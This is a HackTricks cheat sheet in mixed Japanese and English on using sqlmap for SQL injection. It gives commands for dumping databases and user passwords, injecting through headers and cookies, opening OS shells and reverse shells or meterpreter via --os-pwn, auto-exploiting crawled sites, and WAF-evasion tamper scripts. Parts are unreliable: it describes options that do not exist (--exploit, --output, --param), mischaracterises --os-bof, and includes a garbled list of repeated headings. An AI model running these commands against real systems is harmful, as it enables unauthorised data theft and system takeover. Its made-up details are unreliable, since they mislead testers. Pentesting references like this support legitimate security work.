hacktricks/pentesting-web/sql-injection/sqlmap.md
2023-07-07 23:42:27 +00:00

34 KiB
Raw Blame History

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥

SQLmapの基本的な匕数

䞀般的な匕数

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

情報の取埗

内郚

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DBデヌタ

The --dump option can be used to retrieve the data from the database. By default, it will dump all the tables in the database. However, you can specify the tables you want to dump using the --tables option.

$ sqlmap -u "http://example.com/vuln.php?id=1" --dump

This command will retrieve all the data from the database and display it in the console. You can also specify the output format using the --output option. For example, to save the data in a CSV file, you can use the following command:

$ sqlmap -u "http://example.com/vuln.php?id=1" --dump --output=data.csv

By default, sqlmap will retrieve all the columns from the tables. However, you can specify the columns you want to retrieve using the --columns option. For example, to retrieve only the username and password columns from the users table, you can use the following command:

$ sqlmap -u "http://example.com/vuln.php?id=1" --dump --tables=users --columns=username,password

This command will retrieve only the specified columns from the users table and display them in the console.

Remember to always use these techniques responsibly and with proper authorization.

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

むンゞェクション箇所

Burp/ZAPからのキャプチャ

リク゚ストをキャプチャし、req.txtファむルを䜜成したす。

sqlmap -r req.txt --current-user

GETリク゚ストのむンゞェクション

In this section, we will discuss how to perform SQL injection attacks on GET requests using sqlmap.

このセクションでは、sqlmapを䜿甚しおGETリク゚ストに察しおSQLむンゞェクション攻撃を行う方法に぀いお説明したす。

Basic Usage

基本的な䜿甚方法

To perform a SQL injection attack on a GET request, you can use the following command:

GETリク゚ストに察しおSQLむンゞェクション攻撃を実行するには、次のコマンドを䜿甚したす。

sqlmap -u "http://example.com/page.php?id=1" --dbs

Replace the URL with the target URL that contains the vulnerable parameter. The --dbs option is used to enumerate the available databases.

脆匱なパラメヌタを含む察象のURLでURLを眮き換えたす。 --dbsオプションは利甚可胜なデヌタベヌスを列挙するために䜿甚されたす。

Enumerating Databases

デヌタベヌスの列挙

To enumerate the databases, you can use the following command:

デヌタベヌスを列挙するには、次のコマンドを䜿甚したす。

sqlmap -u "http://example.com/page.php?id=1" --dbs

This command will display a list of available databases.

このコマンドは利甚可胜なデヌタベヌスのリストを衚瀺したす。

Enumerating Tables

テヌブルの列挙

To enumerate the tables in a specific database, you can use the following command:

特定のデヌタベヌス内のテヌブルを列挙するには、次のコマンドを䜿甚したす。

sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables

Replace database_name with the name of the target database. This command will display a list of tables in the specified database.

database_nameを察象デヌタベヌスの名前に眮き換えたす。このコマンドは指定したデヌタベヌス内のテヌブルのリストを衚瀺したす。

Dumping Data

デヌタのダンプ

To dump the data from a specific table, you can use the following command:

特定のテヌブルからデヌタをダンプするには、次のコマンドを䜿甚したす。

sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump

Replace database_name with the name of the target database and table_name with the name of the target table. This command will dump the data from the specified table.

database_nameを察象デヌタベヌスの名前に、table_nameを察象テヌブルの名前に眮き換えたす。このコマンドは指定したテヌブルからデヌタをダンプしたす。

Conclusion

結論

Performing SQL injection attacks on GET requests can be done using sqlmap. By enumerating databases, tables, and dumping data, you can extract sensitive information from vulnerable web applications.

GETリク゚ストに察するSQLむンゞェクション攻撃は、sqlmapを䜿甚しお行うこずができたす。デヌタベヌスの列挙、テヌブルの列挙、デヌタのダンプを行うこずで、脆匱なWebアプリケヌションから機密情報を抜出するこずができたす。

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POSTリク゚ストのむンゞェクション

In some cases, the target application may use POST requests to send data to the server. SQL injection can also be performed on these POST requests. SQLMap provides options to specify the POST data and the injection point.

いく぀かの堎合、察象のアプリケヌションはデヌタをサヌバヌに送信するためにPOSTリク゚ストを䜿甚する堎合がありたす。これらのPOSTリク゚ストでもSQLむンゞェクションを実行するこずができたす。SQLMapは、POSTデヌタずむンゞェクションポむントを指定するためのオプションを提䟛しおいたす。

To perform a SQL injection on a POST request, you need to capture the request using a proxy tool like Burp Suite or OWASP ZAP. Once you have the request captured, you can use SQLMap to automatically detect and exploit the SQL injection vulnerability.

POSTリク゚ストでSQLむンゞェクションを実行するには、Burp SuiteやOWASP ZAPなどのプロキシツヌルを䜿甚しおリク゚ストをキャプチャする必芁がありたす。リク゚ストをキャプチャしたら、SQLMapを䜿甚しおSQLむンゞェクションの脆匱性を自動的に怜出し、攻撃するこずができたす。

To specify the POST data, you can use the --data option followed by the POST data in the format param1=value1&param2=value2. You can also use the --data-file option to specify a file containing the POST data.

POSTデヌタを指定するには、--dataオプションを䜿甚し、POSTデヌタをparam1=value1&param2=value2の圢匏で指定したす。たた、POSTデヌタが含たれるファむルを指定するには、--data-fileオプションを䜿甚するこずもできたす。

To specify the injection point, you can use the --param option followed by the parameter name. For example, --param username will specify the injection point as the username parameter.

むンゞェクションポむントを指定するには、--paramオプションを䜿甚し、パラメヌタ名を指定したす。䟋えば、--param usernameはむンゞェクションポむントをusernameパラメヌタずしお指定したす。

Once you have specified the POST data and the injection point, you can run SQLMap with the --data and --param options to perform the SQL injection on the POST request.

POSTデヌタずむンゞェクションポむントを指定したら、SQLMapを--dataオプションず--paramオプションず共に実行し、POSTリク゚ストに察しおSQLむンゞェクションを実行するこずができたす。

sqlmap -u "http://example.com" --data "username=*&password=*"

ヘッダヌずその他のHTTPメ゜ッドにおけるむンゞェクション

In some cases, it is possible to perform SQL injections not only in the request parameters but also in the headers or other HTTP methods. This can be useful when the application uses headers or other methods to pass data to the backend database.

いく぀かのケヌスでは、SQLむンゞェクションをリク゚ストパラメヌタだけでなく、ヘッダヌやその他のHTTPメ゜ッドにも実行するこずができたす。これは、アプリケヌションがヘッダヌやその他のメ゜ッドを䜿甚しおバック゚ンドデヌタベヌスにデヌタを枡す堎合に圹立ちたす。

Injection in Headers

User-Agent Header

The User-Agent header is commonly used by web browsers to identify themselves to the server. In some cases, it is possible to inject SQL code into this header and manipulate the backend database.

ナヌザヌ゚ヌゞェントヘッダヌは、りェブブラりザがサヌバヌに自身を識別するために䞀般的に䜿甚されたす。いく぀かのケヌスでは、このヘッダヌにSQLコヌドをむンゞェクションし、バック゚ンドデヌタベヌスを操䜜するこずが可胜です。

To test for SQL injection in the User-Agent header, you can use the following command:

ナヌザヌ゚ヌゞェントヘッダヌに察するSQLむンゞェクションをテストするには、次のコマンドを䜿甚できたす。

sqlmap -u "http://example.com" --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'; SELECT SLEEP(5)-- -"

Referer Header

The Referer header is used to indicate the URL of the page that linked to the current page. Similar to the User-Agent header, it is possible to inject SQL code into this header and manipulate the backend database.

リファラヘッダヌは、珟圚のペヌゞにリンクしたペヌゞのURLを瀺すために䜿甚されたす。ナヌザヌ゚ヌゞェントヘッダヌず同様に、このヘッダヌにSQLコヌドをむンゞェクションし、バック゚ンドデヌタベヌスを操䜜するこずが可胜です。

To test for SQL injection in the Referer header, you can use the following command:

リファラヘッダヌに察するSQLむンゞェクションをテストするには、次のコマンドを䜿甚できたす。

sqlmap -u "http://example.com" --headers="Referer: http://example.com'; SELECT SLEEP(5)-- -"

Injection in Other HTTP Methods

Apart from GET and POST requests, there are other HTTP methods that can be used to send data to the server. These methods include PUT, DELETE, OPTIONS, HEAD, and more. It is possible to inject SQL code into these methods and manipulate the backend database.

GETずPOSTリク゚スト以倖にも、デヌタをサヌバヌに送信するために䜿甚できる他のHTTPメ゜ッドがありたす。これらのメ゜ッドには、PUT、DELETE、OPTIONS、HEADなどがありたす。これらのメ゜ッドにSQLコヌドをむンゞェクションし、バック゚ンドデヌタベヌスを操䜜するこずが可胜です。

To test for SQL injection in other HTTP methods, you can use the following command:

他のHTTPメ゜ッドに察するSQLむンゞェクションをテストするには、次のコマンドを䜿甚できたす。

sqlmap -u "http://example.com" --method=PUT --data="param1=value1&param2=value2'; SELECT SLEEP(5)-- -"

Remember to replace the URL, headers, and data with the appropriate values for your target application.

察象のアプリケヌションに適切な倀でURL、ヘッダヌ、およびデヌタを眮き換えるこずを忘れないでください。

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

セカンドオヌダヌむンゞェクション

A second order injection occurs when user input is stored in a database or other data storage system, and later used in a different context without proper sanitization or validation. This can lead to SQL injection vulnerabilities that are not immediately apparent during the initial input, but can be exploited later on.

セカンドオヌダヌむンゞェクションは、ナヌザヌの入力がデヌタベヌスや他のデヌタストレヌゞシステムに保存され、埌で適切なサニタむズやバリデヌションなしに別のコンテキストで䜿甚される堎合に発生したす。これにより、最初の入力時にはすぐには明らかにならないSQLむンゞェクションの脆匱性が生じる可胜性がありたすが、埌で悪甚される可胜性がありたす。

For example, let's say a web application allows users to submit comments that are stored in a database. The application then retrieves these comments and displays them on a webpage. If the application does not properly sanitize or validate the comments before displaying them, an attacker could inject malicious SQL code into their comment. This code would then be stored in the database and executed when the comments are displayed on the webpage, potentially leading to unauthorized access or data leakage.

たずえば、りェブアプリケヌションがナヌザヌにコメントを提出するこずを蚱可し、これらのコメントがデヌタベヌスに保存されるずしたす。その埌、アプリケヌションはこれらのコメントを取埗し、りェブペヌゞ䞊に衚瀺したす。アプリケヌションがコメントを衚瀺する前に適切にサニタむズやバリデヌションを行わない堎合、攻撃者はコメントに悪意のあるSQLコヌドをむンゞェクションするこずができたす。このコヌドはデヌタベヌスに保存され、コメントがりェブペヌゞ䞊に衚瀺される際に実行されるため、䞍正なアクセスやデヌタの挏掩の可胜性がありたす。

To detect and exploit second order injection vulnerabilities, tools like SQLMap can be used. These tools analyze the application's behavior and attempt to inject malicious SQL code to test for vulnerabilities. By identifying and fixing these vulnerabilities, developers can ensure the security of their applications and protect against potential attacks.

セカンドオヌダヌむンゞェクションの脆匱性を怜出し、悪甚するためには、SQLMapなどのツヌルを䜿甚するこずができたす。これらのツヌルはアプリケヌションの動䜜を分析し、脆匱性をテストするために悪意のあるSQLコヌドをむンゞェクションしようずしたす。これらの脆匱性を特定し修正するこずで、開発者はアプリケヌションのセキュリティを確保し、朜圚的な攻撃から保護するこずができたす。

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

シェル

Shellコマンドを実行するために、SQLMapはいく぀かのオプションを提䟛しおいたす。以䞋にいく぀かの䞀般的なオプションを瀺したす。

--os-shell

このオプションを䜿甚するず、SQLMapはOSシェルを開きたす。これにより、察象のシステムでコマンドを実行するこずができたす。

sqlmap -u <target> --os-shell

--sql-shell

このオプションを䜿甚するず、SQLMapはSQLシェルを開きたす。これにより、察象のデヌタベヌスに察しおSQLク゚リを実行するこずができたす。

sqlmap -u <target> --sql-shell

--os-pwn

このオプションを䜿甚するず、SQLMapは察象のシステムを完党に乗っ取りたす。これにより、察象のシステムで任意のコマンドを実行するこずができたす。

sqlmap -u <target> --os-pwn

--os-bof

このオプションを䜿甚するず、SQLMapは察象のシステムでバッファオヌバヌフロヌを匕き起こしたす。これにより、察象のシステムをクラッシュさせるこずができたす。

sqlmap -u <target> --os-bof

これらのオプションを䜿甚する際には、慎重に行動し、法的な制玄を遵守するこずを忘れないでください。

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SQLmapを䜿甚しおりェブサむトをクロヌルし、自動的に゚クスプロむトする

SQLmap is a powerful tool for automating the process of detecting and exploiting SQL injection vulnerabilities in web applications. In this section, we will learn how to use SQLmap to crawl a website and automatically exploit any SQL injection vulnerabilities that are found.

SQLmapは、りェブアプリケヌションのSQLむンゞェクション脆匱性を怜出し、゚クスプロむトするプロセスを自動化する匷力なツヌルです。このセクションでは、SQLmapを䜿甚しおりェブサむトをクロヌルし、芋぀かったSQLむンゞェクション脆匱性を自動的に゚クスプロむトする方法を孊びたす。

Crawling a website with SQLmap

SQLmap has a built-in feature that allows it to crawl a website and discover all the available pages. This can be useful when you want to identify potential targets for SQL injection attacks.

To crawl a website with SQLmap, you can use the following command:

sqlmap -u <target_url> --crawl=<depth>
  • <target_url>: The URL of the website you want to crawl.
  • <depth>: The depth of the crawling process (optional). By default, SQLmap will crawl up to a depth of 3.

For example, to crawl a website at http://example.com up to a depth of 5, you can use the following command:

sqlmap -u http://example.com --crawl=5

Auto-exploiting SQL injection vulnerabilities

Once SQLmap has crawled a website and identified SQL injection vulnerabilities, it can automatically exploit them to extract data from the database or perform other malicious actions.

To auto-exploit SQL injection vulnerabilities with SQLmap, you can use the following command:

sqlmap -u <target_url> --exploit=<exploit_options>
  • <target_url>: The URL of the website with the SQL injection vulnerability.
  • <exploit_options>: Additional options to customize the exploitation process (optional).

For example, to auto-exploit a SQL injection vulnerability on http://example.com/vulnerable.php?id=1, you can use the following command:

sqlmap -u http://example.com/vulnerable.php?id=1 --exploit

SQLmap will automatically detect and exploit the SQL injection vulnerability, allowing you to retrieve data from the database or perform other actions as specified by the exploit options.

Conclusion

By using SQLmap to crawl a website and auto-exploit SQL injection vulnerabilities, you can efficiently identify and exploit potential security weaknesses in web applications. However, it is important to always obtain proper authorization before performing any penetration testing activities.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

You can customize the injection by setting a suffix.

To set a suffix, use the --suffix option followed by the desired suffix value.

For example, to set the suffix as ' OR '1'='1'--, you can use the following command:

sqlmap -u <target_url> --suffix="' OR '1'='1'--"

This will append the suffix to the injected payload, allowing you to modify the behavior of the injection.

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

プレフィックス


Target


タヌゲット


Introduction


むントロダクション


SQL Injection


SQLむンゞェクション


SQLMap


SQLMap


Installation


むンストヌル


Basic Usage


基本的な䜿甚方法


Detecting SQL Injection Vulnerabilities


SQLむンゞェクションの脆匱性の怜出


Enumerating Databases


デヌタベヌスの列挙


Enumerating Tables


テヌブルの列挙


Enumerating Columns


列の列挙


Dumping Data


デヌタのダンプ


Exploiting SQL Injection Vulnerabilities


SQLむンゞェクションの脆匱性の悪甚


Command Execution


コマンドの実行


OS Shell


OSシェル


File Read/Write


ファむルの読み曞き


Privilege Escalation


特暩の昇栌


Conclusion


結論

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

ブヌルむンゞェクションの怜出方法のヘルプ

Boolean-based SQL injectionブヌルベヌスのSQLむンゞェクションは、Webアプリケヌションのセキュリティテスト䞭によく䜿甚されるテクニックです。この攻撃は、真停倀trueたたはfalseを䜿甚しおSQLク゚リの結果を制埡するこずによっお、デヌタベヌスから情報を抜出したす。

以䞋は、ブヌルむンゞェクションを怜出するための手順です。

  1. ナヌザヌ入力の特定の箇所を特定したす。これは、URLパラメヌタ、フォヌムフィヌルド、たたはクッキヌなどの堎所に存圚する可胜性がありたす。

  2. 特定したナヌザヌ入力を䜿甚しお、SQLク゚リを実行する堎所を特定したす。これは、デヌタベヌスク゚リを実行するコヌドの䞀郚である可胜性がありたす。

  3. 特定したナヌザヌ入力を䜿甚しお、SQLク゚リにブヌル挔算子AND、OR、NOTを挿入したす。これにより、ク゚リの結果を制埡できたす。

  4. ク゚リの結果に基づいお、真停倀を䜿甚しお条件を評䟡したす。䟋えば、ク゚リが真の堎合は正垞な応答が返され、停の堎合ぱラヌメッセヌゞが衚瀺されるかもしれたせん。

  5. ブヌルむンゞェクションが成功した堎合、デヌタベヌスから情報を抜出するための適切な真停倀を特定したす。

ブヌルむンゞェクションは、デヌタベヌスの機密情報を挏掩させる可胜性があるため、セキュリティ䞊の重倧な脆匱性です。セキュリティテスト䞭にこのテクニックを䜿甚する際には、慎重に行う必芁がありたす。

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

タンパヌ

Tampering is a technique used to modify the behavior of SQLMap's payloads in order to bypass security measures or evade detection. SQLMap provides a variety of tamper scripts that can be used to alter the SQL injection payloads.

タンパリングは、セキュリティ察策を回避したり怜出を回避するために、SQLMapのペむロヌドの動䜜を倉曎するための技術です。SQLMapは、SQLむンゞェクションのペむロヌドを倉曎するために䜿甚できるさたざたなタンパヌスクリプトを提䟛しおいたす。

To use a tamper script, you can specify it using the --tamper option followed by the name of the script. For example:

タンパヌスクリプトを䜿甚するには、スクリプトの名前を指定するために--tamperオプションを䜿甚したす。䟋えば

sqlmap -u http://example.com/index.php?id=1 --tamper=space2comment

This command will use the space2comment tamper script to modify the SQL injection payloads.

このコマンドは、SQLむンゞェクションのペむロヌドを倉曎するためにspace2commentタンパヌスクリプトを䜿甚したす。

You can also use multiple tamper scripts by separating them with a comma:

カンマで区切っお耇数のタンパヌスクリプトを䜿甚するこずもできたす。

sqlmap -u http://example.com/index.php?id=1 --tamper=space2comment,randomcase

In this example, both the space2comment and randomcase tamper scripts will be applied to the SQL injection payloads.

この䟋では、space2commentずrandomcaseの䞡方のタンパヌスクリプトがSQLむンゞェクションのペむロヌドに適甚されたす。

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper 説明
apostrophemask.py アポストロフィ文字をそのUTF-8党角察応文字に眮き換えたす
apostrophenullencode.py アポストロフィ文字をその䞍正なダブルナニコヌド察応文字に眮き換えたす
appendnullbyte.py ペむロヌドの末尟に゚ンコヌドされたNULLバむト文字を远加したす
base64encode.py 指定されたペむロヌド内のすべおの文字をBase64で゚ンコヌドしたす
between.py 倧なり挔算子 '&gt;' を 'NOT BETWEEN 0 AND #' に眮き換えたす
bluecoat.py SQL文の埌にあるスペヌス文字を有効なランダムな空癜文字に眮き換えたす。その埌、文字 = をLIKE挔算子に眮き換えたす
chardoubleencode.py 指定されたペむロヌド内のすべおの文字をダブルURL゚ンコヌドしたすすでに゚ンコヌドされおいるものは凊理したせん
commalesslimit.py 'LIMIT M, N' のようなむンスタンスを 'LIMIT N OFFSET M' に眮き換えたす
commalessmid.py 'MID(A, B, C)' のようなむンスタンスを 'MID(A FROM B FOR C)' に眮き換えたす
concat2concatws.py 'CONCAT(A, B)' のようなむンスタンスを 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' に眮き換えたす
charencode.py 指定されたペむロヌド内のすべおの文字をURL゚ンコヌドしたすすでに゚ンコヌドされおいるものは凊理したせん
charunicodeencode.py 指定されたペむロヌド内の非゚ンコヌド文字をUnicode URL゚ンコヌドしたすすでに゚ンコヌドされおいるものは凊理したせん。"%u0022"
charunicodeescape.py 指定されたペむロヌド内の非゚ンコヌド文字をUnicode URL゚ンコヌドしたすすでに゚ンコヌドされおいるものは凊理したせん。"\u0022"
equaltolike.py すべおの等号挔算子 '=' を 'LIKE' 挔算子に眮き換えたす
escapequotes.py クォヌト文字 ' and " をスラッシュで゚スケヌプしたす
greatest.py 倧なり挔算子 '&gt;' を 'GREATEST' に眮き換えたす
halfversionedmorekeywords.py 各キヌワヌドの前にバヌゞョン付きのMySQLコメントを远加したす
ifnull2ifisnull.py 'IFNULL(A, B)' のようなむンスタンスを 'IF(ISNULL(A), B, A)' に眮き換えたす
modsecurityversioned.py バヌゞョン付きコメントでク゚リ党䜓を囲みたす
modsecurityzeroversioned.py れロバヌゞョンのコメントでク゚リ党䜓を囲みたす
multiplespaces.py SQLキヌワヌドの呚りに耇数のスペヌスを远加したす
nonrecursivereplacement.py 事前定矩されたSQLキヌワヌドを眮換に適した衚珟に眮き換えたす䟋.replace("SELECT", ""))フィルタヌ
percentage.py 各文字の前にパヌセント蚘号 '%' を远加したす
overlongutf8.py 指定されたペむロヌド内のすべおの文字を倉換したすすでに゚ンコヌドされおいるものは凊理したせん
randomcase.py 各キヌワヌド文字をランダムな倧文字/小文字の倀に眮き換えたす
randomcomments.py SQLキヌワヌドにランダムなコメントを远加したす
securesphere.py 特別に䜜成された文字列を远加したす
sp_password.py ペむロヌドの末尟に 'sp_password' を远加しお、DBMSログからの自動的な曖昧化を行いたす
space2comment.py スペヌス文字 ' ' をコメントに眮き換えたす
space2dash.py スペヌス文字 ' ' をダッシュコメント '--' に眮き換え、その埌にランダムな文字列ず改行 '\n' を远加したす
space2hash.py スペヌス文字 ' ' をパりンド文字 '\#' に眮き換え、その埌にランダムな文字列ず改行 '\n' を远加したす
space2morehash.py スペヌス文字 ' ' をパりンド文字 '\#' に眮き換え、その埌にランダムな文字列ず改行 '\n' を远加したす
space2mssqlblank.py スペヌス文字 ' ' を有効な代替文字のセットからのランダムな空癜文字に眮き換えたす
space2mssqlhash.py スペヌス文字 ' ' をパりンド文字 '\#' に眮き換え、改行 '\n' を远加したす
space2mysqlblank.py スペヌス文字 ' ' を有効な代替文字のセットからのランダムな空癜文字に眮き換えたす
space2mysqldash.py スペヌス文字 ' ' をダッシュコメント '--' に眮き換え、改行 '\n' を远加したす
space2plus.py スペヌス文字 ' ' をプラス '+' に眮き換えたす
space2randomblank.py スペヌス文字 ' ' を有効な代替文字のセットからのランダムな空癜文字に眮き換えたす
symboliclogical.py ANDおよびOR論理挔算子をそれぞれのシンボルに眮き換えたす (&& および
unionalltounion.py UNION ALL SELECT を UNION SELECT に眮き換えたす
unmagicquotes.py クォヌト文字 ' をマルチバむトコンボ %bf%27 ず䞀緒にゞェネリックコメントで眮き換えたす動䜜させるために最埌に
uppercase.py 各キヌワヌド文字を倧文字に眮き換えたす 'INSERT'
varnish.py HTTPヘッダヌ 'X-originating-IP' を远加したす
versionedkeywords.py 関数でない各キヌワヌドをバヌゞョン付きのMySQLコメントで囲みたす
versionedmorekeywords.py 各キヌワヌドをバヌゞョン付きのMySQLコメントで囲みたす
xforwardedfor.py 停のHTTPヘッダヌ 'X-Forwarded-For' を远加したす
☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • サむバヌセキュリティ䌁業で働いおいたすか HackTricksで䌚瀟を宣䌝したいですかたたは、PEASSの最新バヌゞョンを入手したいですかたたは、HackTricksをPDFでダりンロヌドしたいですかSUBSCRIPTION PLANSをチェックしおください

  • The PEASS Familyを発芋したしょう、独占的なNFTのコレクションです。

  • 公匏のPEASSHackTricksのグッズを手に入れたしょう。

  • 💬 Discordグルヌプたたは[テレグラムグルヌプ](https://t.me/